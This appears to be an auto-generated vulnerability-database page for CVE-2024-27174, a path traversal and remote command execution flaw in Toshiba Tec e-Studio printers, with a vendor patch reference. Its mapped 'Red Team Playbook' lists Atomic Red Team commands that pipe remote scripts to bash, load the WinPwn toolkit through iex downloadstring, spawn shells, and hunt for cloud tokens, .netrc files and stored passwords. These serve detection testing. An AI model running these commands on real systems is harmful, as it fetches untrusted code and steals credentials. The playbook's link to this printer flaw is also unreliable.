CVE-2024-27174
Overview
This vulnerability is a path traversal flaw (CWE-22) within the Remote Command program component of Toshiba Tec e-Studio multi-function peripherals. The root cause lies in insufficient validation of user-supplied input paths, allowing crafted requests to escape intended directory boundaries. The affected feature improperly processes remote command execution requests, enabling unauthorized file system access and manipulation.
Vulnerability Description
Remote Command program allows an attacker to get Remote Code Execution. This vulnerability can be executed in combination with other vulnerabilities and difficult to execute alone. So, the CVSS score for this vulnerability alone is lower than the score listed in the "Base Score" of this vulnerability. For detail on related other vulnerabilities, please ask to the below contact point. https://www.toshibatec.com/contacts/products/ As for the affected products/models/versions, see the reference URL.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the affected Toshiba Tec e-Studio devices, potentially leading to full system compromise. The attack requires network access to the device but no user interaction or credentials. Successful exploitation may result in unauthorized data access, disruption of printing or scanning services, and lateral movement within a network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates high exploitability from a remote location without privileges.
Solution
Toshiba Tec Corporation has released security updates addressing this vulnerability for affected e-Studio MFP models as detailed in their advisory dated 2024-05-31 (https://www.toshibatec.com/information/20240531_01.html). Users should apply the provided firmware patches promptly. For detailed patch instructions and affected versions, refer to the official vendor documentation and the PDF advisory at https://www.toshibatec.com/information/pdf/information20240531_01.pdf.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized by its potential for remote code execution, which allows an attacker to execute arbitrary commands on a target system. This flaw arises from improper validation of input or insufficient access controls within the Remote Command program. When exploited, it can enable an attacker to gain unauthorized access to sensitive system functions, potentially leading to a full compromise of the affected system. The complexity of this vulnerability lies in its requirement for exploitation in conjunction with other vulnerabilities, making it less straightforward to execute in isolation. This characteristic can lead to underestimation of its risk, as the base score may not fully reflect the severity of a successful multi-vector attack.
Attack vectors for this vulnerability can vary, but they typically involve a combination of social engineering, network-based attacks, or exploiting other known weaknesses in the system. For instance, an attacker might first gain access to a less secure service or application running on the same network, which could then be leveraged to exploit the Remote Command program. Once the attacker has established a foothold, they can issue commands that manipulate the system or extract sensitive data. The requirement for additional vulnerabilities to be present complicates the attack landscape, as it necessitates a more sophisticated understanding of the target environment and its security posture.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on the affected Remote Command program for critical operations. Successful exploitation could lead to data breaches, service disruptions, or unauthorized access to proprietary information. The business risks associated with such incidents include reputational damage, financial losses due to remediation efforts, and potential legal ramifications stemming from data protection regulations. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, facing increased scrutiny from customers and stakeholders concerned about their cybersecurity practices.
Detection and mitigation strategies for this vulnerability should focus on a multi-layered approach. Organizations are advised to conduct thorough vulnerability assessments and penetration testing to identify not only this specific flaw but also any related vulnerabilities that could be exploited in tandem. Implementing robust access controls, such as least privilege principles and network segmentation, can help limit the attack surface. Regular software updates and patch management are critical in addressing known vulnerabilities, while continuous monitoring of network traffic can provide early detection of suspicious activities. Additionally, employee training on security best practices can reduce the likelihood of successful social engineering attacks that may precede exploitation.
In conclusion, the vulnerability associated with the Remote Command program presents a significant threat to organizations, particularly when considered in the context of its potential for remote code execution. Understanding the technical details, attack vectors, and real-world implications is essential for effective risk management. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves against the multifaceted nature of this and related vulnerabilities, ultimately enhancing their overall cybersecurity posture.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-27174 |
| toshibatec.com |
GitHub CVE
|
https://www.toshibatec.com/information/20240531_01.html |
| toshibatec.com |
GitHub CVE
|
https://www.toshibatec.com/information/pdf/information20240531_01.pdf |
| jvn.jp |
GitHub CVE
|
https://jvn.jp/en/vu/JVNVU97136265/index.html |
| seclists.org |
GitHub CVE
|
http://seclists.org/fulldisclosure/2024/Jul/1 |